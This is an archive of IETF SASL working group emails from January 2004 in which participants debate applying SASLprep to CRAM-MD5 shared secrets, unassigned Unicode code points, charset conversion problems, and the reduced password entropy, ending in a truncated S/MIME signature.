From owner-ietf-sasl Wed Jan 7 09:53:57 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07Hrvib064298 for ; Wed, 7 Jan 2004 09:53:57 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07Hrup7064296 for ietf-sasl-bks; Wed, 7 Jan 2004 09:53:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07Hrtib064291 for ; Wed, 7 Jan 2004 09:53:56 -0800 (PST) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 7 Jan 2004 17:53:50 +0000 Message-ID: <3FFC47AD.6060208@isode.com> Date: Wed, 07 Jan 2004 17:53:49 +0000 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Kurt D. Zeilenga" CC: Rob Siemborski , ietf-sasl@imc.org Subject: Re: I-D ACTION:draft-ietf-sasl-rfc2222bis-04.txt References: <200312232035.PAA08146@ietf.org> <6.0.0.22.0.20031229133042.02716f20@127.0.0.1> In-Reply-To: <6.0.0.22.0.20031229133042.02716f20@127.0.0.1> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Kurt D. Zeilenga wrote: >At 12:48 PM 12/29/2003, Rob Siemborski wrote: > > >>On Tue, 23 Dec 2003 Internet-Drafts@ietf.org wrote: >> >> >>>A New Internet-Draft is available from the on-line Internet-Drafts directories. >>>This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. >>> >>> Title : Simple Authentication and Security Layer (SASL) >>> >>> >>Nit: Document states that it will be a draft standard, is this still the >>case or is the stringprep stuff forcing us to recycle at proposed? >> > >We'll be recycling at Proposed. > > Fixed in my copy. Alexey From owner-ietf-sasl Mon Jan 12 13:34:20 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CLYKib008810; Mon, 12 Jan 2004 13:34:20 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CLYKVt008809; Mon, 12 Jan 2004 13:34:20 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (115.216-123-230-0.interbaun.com [216.123.230.115]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CLYIib008803 for ; Mon, 12 Jan 2004 13:34:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 115.216-123-230-0.interbaun.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 681F865A55 for ; Mon, 12 Jan 2004 14:34:13 -0700 (MST) Date: Mon, 12 Jan 2004 14:34:09 -0700 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 stringprep text Message-ID: <2147483647.1073918049@115.216-123-230-0.interbaun.com> In-Reply-To: References: X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2003-12-1 11:39 PM +0100 Simon Josefsson wrote: > Hello, I have read the document. Some comments: > > ,---- >| The client MUST prepare the user name and shared secret strings >| using the [SASLPrep] profile of the [StringPrep] algorithm. The >| resulting values MUST be encoded as UTF-8 [UTF8]. > `---- > > I suggest adding: > > The server MUST prepare the shared secret string using the > [SASLPrep] profile of the [StringPrep] algorithm. The resulting > value MUST be encoded as UTF-8 [UTF8]. The server may store the > prepared string instead of, or as well as, the unprepared > string, so that it does not have to prepare it every time it is > needed for computation. However, if the original, unprepared > string, is not stored, it may render the computed secret to be > incompatible with a future revisions of SASLPrep that support > currently unassigned code points (compare section 7 of > [StringPrep]). It is therefor recommended to store the > unprepared string in the database. There was quite a bit of discussion over this suggestion, but I don't think we reached any consensus about including the additional text. I'm about to push a new draft, and would appreciate a hum over whether or not it should be added. --lyndon From owner-ietf-sasl Mon Jan 12 14:42:52 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMgqib011614; Mon, 12 Jan 2004 14:42:52 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMgqYe011613; Mon, 12 Jan 2004 14:42:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (KONISHI-POLIS.MIT.EDU [18.18.3.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMgoib011608 for ; Mon, 12 Jan 2004 14:42:51 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 01D0B1515FF; Mon, 12 Jan 2004 17:42:52 -0500 (EST) To: ietf-sasl@imc.org Subject: Things to discuss in Seoul Message-Id: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> Date: Mon, 12 Jan 2004 17:42:52 -0500 (EST) From: hartmans@mit.edu (Sam Hartman) Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Who will be there in Seoul? I'm trying to get a good idea of what drafts we can focus on for that meeting. Presumably regardless of attendance we'll try and do as much as we can on the base spec, stringprep, plain and anonymous. We are trying to get those drafts to the IESG. But among the remaining documents it may be better to focus time based on who is available. Also, if you have specific issues that need meeting time, please /let us know. From owner-ietf-sasl Mon Jan 12 14:38:40 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMcdib011463; Mon, 12 Jan 2004 14:38:39 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMcdPC011462; Mon, 12 Jan 2004 14:38:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (KONISHI-POLIS.MIT.EDU [18.18.3.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMccib011456 for ; Mon, 12 Jan 2004 14:38:39 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 35A5D1515FF; Mon, 12 Jan 2004 17:38:26 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> From: Sam Hartman Date: Mon, 12 Jan 2004 17:38:26 -0500 In-Reply-To: <2147483647.1073918049@115.216-123-230-0.interbaun.com> (Lyndon Nerenberg's message of "Mon, 12 Jan 2004 14:34:09 -0700") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'd like to hear from people who believe we should allow unassigned codepoints in cram-md5. From owner-ietf-sasl Mon Jan 12 14:34:39 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMYdib011343; Mon, 12 Jan 2004 14:34:39 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMYdJP011342; Mon, 12 Jan 2004 14:34:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMYcib011337 for ; Mon, 12 Jan 2004 14:34:38 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0CMYe4f001348; Mon, 12 Jan 2004 22:34:40 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.0.22.0.20040112140930.0435ea50@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.0.22 Date: Mon, 12 Jan 2004 14:34:35 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: ietf-sasl@imc.org In-Reply-To: <2147483647.1073918049@115.216-123-230-0.interbaun.com> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 01:34 PM 1/12/2004, Lyndon Nerenberg wrote: >--On 2003-12-1 11:39 PM +0100 Simon Josefsson wrote: > >>Hello, I have read the document. Some comments: >> >>,---- >>| The client MUST prepare the user name and shared secret strings >>| using the [SASLPrep] profile of the [StringPrep] algorithm. The >>| resulting values MUST be encoded as UTF-8 [UTF8]. >>`---- >> >>I suggest adding: >> >> The server MUST prepare the shared secret string using the >> [SASLPrep] profile of the [StringPrep] algorithm. The resulting >> value MUST be encoded as UTF-8 [UTF8]. The server may store the >> prepared string instead of, or as well as, the unprepared >> string, so that it does not have to prepare it every time it is >> needed for computation. However, if the original, unprepared >> string, is not stored, it may render the computed secret to be >> incompatible with a future revisions of SASLPrep that support >> currently unassigned code points (compare section 7 of >> [StringPrep]). It is therefor recommended to store the >> unprepared string in the database. > >There was quite a bit of discussion over this suggestion, but I don't think we reached any consensus about including the additional text. I'm about to push a new draft, and would appreciate a hum over whether or not it should be added. The suggestion seems quite odd to me. If SASLprep were to revised, that revision would allow for an expanded set of inputs (and likely with an expanded set of outputs). Or to put it another way, an input string which fails today's SASLprep might not fail tomorrow's SASLprep (producing either a new output or an old output). I would think it far better to recommend that servers refuse to store input strings and/or their prepared output of the input strings if the current SASLprep fails. Instead, they should report a error. This because it makes little sense to store a string which is useless day (in SASL). Kurt From owner-ietf-sasl Mon Jan 12 15:17:48 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNHmib013395; Mon, 12 Jan 2004 15:17:48 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CNHmgL013394; Mon, 12 Jan 2004 15:17:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [10.0.2.2] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNHkic013383 for ; Mon, 12 Jan 2004 15:17:47 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 12 Jan 2004 15:17:45 -0800 To: ietf-sasl@imc.org From: Paul Hoffman / IMC Subject: A different thought on saslprep Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Greetings again. Sorry for coming in so late on this, but three issues were just pointed out to me about this document and I thought they might be worthy of discussion. The first is an implementation issue. In order to use saslprep on the shared secret, the application needs to know the text encoding used to enter the shared secret. Until now, that has always been ASCII, so no big problem there. However, once we open up to the Unicode character set, we also open up to a zillion odd text encodings (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs will get the conversion from what the user entered for the shared secret into Unicode code points wrong? The second is shared secrets that aren't text. Is the shared secret always text, or is there a pure binary form? If so, you can't saslprep the pure binary form. I'm assuming this is a non-issue, but I might have not found the right place in the SASL draft. The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-sasl Mon Jan 12 15:43:11 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNhBib014551; Mon, 12 Jan 2004 15:43:11 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CNhB5n014550; Mon, 12 Jan 2004 15:43:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (115.216-123-230-0.interbaun.com [216.123.230.115]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNhAib014545 for ; Mon, 12 Jan 2004 15:43:10 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 115.216-123-230-0.interbaun.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 724CC65D91; Mon, 12 Jan 2004 16:43:06 -0700 (MST) Date: Mon, 12 Jan 2004 16:43:05 -0700 From: Lyndon Nerenberg To: Sam Hartman Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <2147483647.1073925785@115.216-123-230-0.interbaun.com> In-Reply-To: References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > I'd like to hear from people who believe we should allow unassigned > codepoints in cram-md5. Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything). --lyndon From owner-ietf-sasl Mon Jan 12 16:35:32 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D0ZWib017354; Mon, 12 Jan 2004 16:35:32 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D0ZWHa017353; Mon, 12 Jan 2004 16:35:32 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from smtp2.Stanford.EDU (smtp2.Stanford.EDU [171.67.16.116]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D0ZVib017344; Mon, 12 Jan 2004 16:35:31 -0800 (PST) (envelope-from Jeff.Hodges@KingsMountain.com) Received: from networking.Stanford.EDU (networking.Stanford.EDU [171.64.20.23]) by smtp2.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i0D0ZWJ2015453; Mon, 12 Jan 2004 16:35:33 -0800 Received: from networking.Stanford.EDU (hodges@localhost) by networking.Stanford.EDU (8.11.7/8.11.6) with ESMTP id i0D0ZW723951; Mon, 12 Jan 2004 16:35:32 -0800 (PST) Message-Id: <200401130035.i0D0ZW723951@networking.Stanford.EDU> X-Authentication-Warning: networking.Stanford.EDU: hodges owned process doing -bs X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 Subject: Re: A different thought on saslprep To: Paul Hoffman / IMC cc: ietf-sasl@imc.org In-reply-to: Paul Hoffman / IMC 's message of Mon, 12 Jan 2004 15:17:45 -0800 From: Jeff.Hodges@KingsMountain.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 12 Jan 2004 16:35:32 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > The second is a security consideration. Running saslprep over a > shared secret reduces the entropy of the shared secret by eliminating > some characters and mapping others. I was looking at SASLPrep this weekend for the first time and this caught my eye. > Not a big deal, but it does make an attacker's job easier. How big a deal it is, is in the eye of those who're trying to secure their resources, especially given the latter observation. Given that security issue with using SASLPrep on passwords, plus the other two issues Paul mentions with that application of SASLPrep, I wonder if the requirement that passwords be run thru SASLPrep (section 4.4 of draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. JeffH From owner-ietf-sasl Mon Jan 12 18:18:44 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D2Iiib027331; Mon, 12 Jan 2004 18:18:44 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D2Iiki027329; Mon, 12 Jan 2004 18:18:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [10.0.2.2] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D2Ific027314 for ; Mon, 12 Jan 2004 18:18:41 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <200401130035.i0D0ZW723951@networking.Stanford.EDU> References: <200401130035.i0D0ZW723951@networking.Stanford.EDU> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 12 Jan 2004 18:18:42 -0800 To: ietf-sasl@imc.org From: Paul Hoffman / IMC Subject: Re: A different thought on saslprep Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 4:35 PM -0800 1/12/04, Jeff.Hodges@KingsMountain.com wrote: > > The second is a security consideration. Running saslprep over a >> shared secret reduces the entropy of the shared secret by eliminating >> some characters and mapping others. > >I was looking at SASLPrep this weekend for the first time and this caught my >eye. > >> Not a big deal, but it does make an attacker's job easier. > >How big a deal it is, is in the eye of those who're trying to secure their >resources, especially given the latter observation. We can't say by how much it makes it easier. >Given that security issue with using SASLPrep on passwords, plus the other two >issues Paul mentions with that application of SASLPrep, I wonder if the >requirement that passwords be run thru SASLPrep (section 4.4 of >draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. How would that work? How would one end know whether or not the other end had done the saslprep? That seems like an invitation to lack of interop. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-sasl Mon Jan 12 20:50:09 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D4o9ib038050; Mon, 12 Jan 2004 20:50:09 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D4o9QT038049; Mon, 12 Jan 2004 20:50:09 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from mauve.mrochek.com (mauve.mrochek.com [209.55.107.55]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D4o7id038035 for ; Mon, 12 Jan 2004 20:50:08 -0800 (PST) (envelope-from ned+ietf-sasl@mrochek.com) Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01L59XEO364W00Q4RU@mauve.mrochek.com> (original mail from NED@mauve.mrochek.com) for ietf-sasl@imc.org; Mon, 12 Jan 2004 20:50:04 -0800 (PST) Date: Mon, 12 Jan 2004 18:22:20 -0800 (PST) From: ned+ietf-sasl@mrochek.com Subject: Re: A different thought on saslprep In-reply-to: "Your message dated Mon, 12 Jan 2004 15:17:45 -0800" To: Paul Hoffman / IMC Cc: ietf-sasl@imc.org Message-id: <01L5BPIBP67S00Q4RU@mauve.mrochek.com> MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=us-ascii; format=flowed Content-transfer-encoding: 7BIT References: Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > Greetings again. Sorry for coming in so late on this, but three > issues were just pointed out to me about this document and I thought > they might be worthy of discussion. > The first is an implementation issue. In order to use saslprep on the > shared secret, the application needs to know the text encoding used > to enter the shared secret. Until now, that has always been ASCII, so > no big problem there. However, once we open up to the Unicode > character set, we also open up to a zillion odd text encodings > (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs > will get the conversion from what the user entered for the shared > secret into Unicode code points wrong? I for one am worried about it. But I don't think there's much we can do to fix it. Here's a specific example that illustrates why I'm worried. The ISO-2022-JP charset is based on four coded character sets: ASCII, JIS X 0201-1976, JIS X 0208-1978, and JIS X 0208-1983. However, in practice we sometimes see ISO-2022-JP encoding and labelling applied to CP932, Microsoft's "extended" version of JIS 0208. But only only does CP932 extend JIS 0208 to include various additional character like circled digits, it also differs from JIS 0208 in some positions. As you might have guessed, this is a real world example, not an academic one. Ned From owner-ietf-sasl Mon Jan 12 21:29:08 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D5T8ib040612; Mon, 12 Jan 2004 21:29:08 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D5T8I1040611; Mon, 12 Jan 2004 21:29:08 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from jalapeno.cc.columbia.edu (IDENT:cu41754@jalapeno.cc.columbia.edu [128.59.59.238]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D5T7ib040605 for ; Mon, 12 Jan 2004 21:29:07 -0800 (PST) (envelope-from jaltman@columbia.edu) Received: from columbia.edu (66-108-138-151.nyc.rr.com [66.108.138.151]) (user=jaltman mech=PLAIN bits=0) by jalapeno.cc.columbia.edu (8.12.10/8.12.10) with ESMTP id i0D5T92O029420 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Tue, 13 Jan 2004 00:29:09 -0500 (EST) Message-ID: <40038223.2050000@columbia.edu> Date: Tue, 13 Jan 2004 00:29:07 -0500 From: Jeffrey Altman Organization: No Longer Affiliated with Columbia University in the City of New York User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031208 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms040602000106040805090903" X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.35 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: This is a cryptographically signed message in MIME format. --------------ms040602000106040805090903 Content-Type: multipart/alternative; boundary="------------030206040000030107090908" This is a multi-part message in MIME format. --------------030206040000030107090908 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Lyndon Nerenberg wrote: > > --On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > >> I'd like to hear from people who believe we should allow unassigned >> codepoints in cram-md5. > > > Taking off my editor's visor, I personally think this whole issue is > out of scope for the CRAM document, and needs to be addressed in the > base SASL document, or not at all (i.e. let the stringprep document > says what needs to be said, if anything). > > --lyndon I agree. As for whether or not unassigned points may be sent? yes. May they be stored? no. This is to prevent interoperability problems if SASLprep was to be updated to support a newer version of Unicode. Jeffrey Altman P.S. - the only possible exception would be the private use area for internal use. but as was demonstrated during the last IETF meeting, while it is theoretically possible for private use area characters to be treated as assigned internal to an organization, the hoops that would have to be gone through to make it work hardly seem worth it. --------------030206040000030107090908 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Lyndon Nerenberg wrote:

--On 2004-1-12 5:38 PM -0500 Sam Hartman <hartmans@mit.edu> wrote:

I'd like to hear from people who believe we should allow unassigned
codepoints in cram-md5.

Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything).

--lyndon
I agree.

As for whether or not unassigned points may be sent? yes.   May they be stored? no.
This is to prevent interoperability problems if SASLprep was to be updated to support a newer
version of Unicode. 

Jeffrey Altman

P.S. - the only possible exception would be the private use area for internal use.  but
as was demonstrated during the last IETF meeting, while it is theoretically possible for
private use area characters to be treated as assigned internal to an organization, the
hoops that would have to be gone through to make it work hardly seem worth it.


--------------030206040000030107090908-- --------------ms040602000106040805090903 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJUDCC AwYwggJvoAMCAQICAwpxijANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUx HTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVl bWFpbCBSU0EgMjAwMC44LjMwMB4XDTAzMDczMDAyMDkyOFoXDTA0MDcyOTAyMDkyOFowRjEf MB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEjMCEGCSqGSIb3DQEJARYUamFsdG1h bkBjb2x1bWJpYS5lZHUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDBtDG6ZyGA sK+rZOfKPKGBn6oCTLYSLk/mpeX9QTmTG71qh308KUeN35qqoRXjLvscfw6NPOYXiuxE/RqL sx7WKEnK3C4gzzpioCTX1b7o4M7YbpvCRBFPE9Jgsd0yz2EN+mk/pPuK1GP+iQNot2m4A56A aPe6F5T25GqffU535GNIdAtWPao6wHcOm17se25ny/TNzb9mlA4UzYl9XP7MF1fkpJyaDDAy DNNTSSjxBdPVs2EaYq1p/xadXbIpysQiySXAxoeiZusgJopRHLcBsBmmY9QVD4QnUqZVmfJ5 f1CiNri5vlexKCmdFSrxMLuoLr4EQZCECdusp6ZnIt75AgMBAAGjMTAvMB8GA1UdEQQYMBaB FGphbHRtYW5AY29sdW1iaWEuZWR1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEEBQADgYEA DPKe/CuAgEUxsrPskJQx2fL6soAEG2iqrqOGIRREHDaXWDBNMEWEbOEMLvh3+yhqHOUc9x3r 2IfsP/XHnujaqsMVXLagokVTnpPN675wv8LZ8hLHblLnykaTCq6RZpVskh2iAiJwpYMcKNF6 jyYaQyGHBGT3PK8uVGVCG4Pp9k4wggMGMIICb6ADAgECAgMKcYowDQYJKoZIhvcNAQEEBQAw gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg VG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEo MCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMzA3MzAwMjA5 MjhaFw0wNDA3MjkwMjA5MjhaMEYxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIx IzAhBgkqhkiG9w0BCQEWFGphbHRtYW5AY29sdW1iaWEuZWR1MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAwbQxumchgLCvq2TnyjyhgZ+qAky2Ei5P5qXl/UE5kxu9aod9PClH jd+aqqEV4y77HH8OjTzmF4rsRP0ai7Me1ihJytwuIM86YqAk19W+6ODO2G6bwkQRTxPSYLHd Ms9hDfppP6T7itRj/okDaLdpuAOegGj3uheU9uRqn31Od+RjSHQLVj2qOsB3Dpte7HtuZ8v0 